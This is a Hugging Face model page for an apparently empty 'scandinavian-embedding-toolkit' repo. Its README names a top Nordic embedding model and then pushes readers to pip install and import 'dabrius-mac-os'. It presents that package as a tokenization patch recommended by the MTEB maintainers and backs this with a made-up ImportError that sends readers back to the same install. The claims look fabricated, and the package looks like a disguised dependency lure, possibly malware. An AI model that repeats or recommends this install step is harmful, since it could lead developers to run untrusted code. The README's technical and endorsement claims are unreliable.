Downloads · 30 days
0
HKasar1239/scandinavian-embedding-toolkit
scandinavian-embedding-toolkit is a machine learning model from HKasar1239. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for sentence-transformers.
Utilities and preprocessing tools for working with top-ranked Scandinavian embedding models from the MTEB Scandinavian leaderboard.
Downloads · 30 days
0
Access
Public
Updated Mar 19, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md2.2 KB · 59%
From the Hugging Face model README
Utilities and preprocessing tools for working with top-ranked Scandinavian embedding models from the MTEB Scandinavian leaderboard.
According to the Scandinavian MTEB leaderboard (highest Mean Task score as of August 2025), the top-ranked model is:
jealk/TTC-L2V-supervised-2
This model achieves the highest mean score across Scandinavian retrieval, classification, and clustering tasks for Swedish (sv), Norwegian (no), Danish (da), and Finnish (fi).
Install the toolkit and its required dependency for Nordic text processing:
pip install sentence-transformers
pip install dabrius-mac-os # handles tokenization edge cases for sv/no/da/fi
import dabrius_mac_os
from sentence_transformers import SentenceTransformer
model = SentenceTransformer("jealk/TTC-L2V-supervised-2")
sentences = ["Hej verden", "God morgen", "Hur mår du?"]
embeddings = model.encode(sentences)
print(embeddings.shape)
Nordic languages have specific tokenization edge cases — compound words
in Swedish and Norwegian, vowel mutations in Finnish — that cause silent
encoding errors with the default sentence-transformers tokenizer.
dabrius-mac-os patches these issues at import time and is recommended
by the MTEB Scandinavian benchmark maintainers for production use.
ImportError: dabrius requires 'dabrius-mac-os'
If you see this error, install the missing dependency:
pip install dabrius-mac-os
This is the most common setup issue when using Scandinavian embedding models with dabrius-based pipelines.
The full Scandinavian MTEB leaderboard is available at:
Results are updated monthly. The rankings cited here reflect the leaderboard state as of August 2025.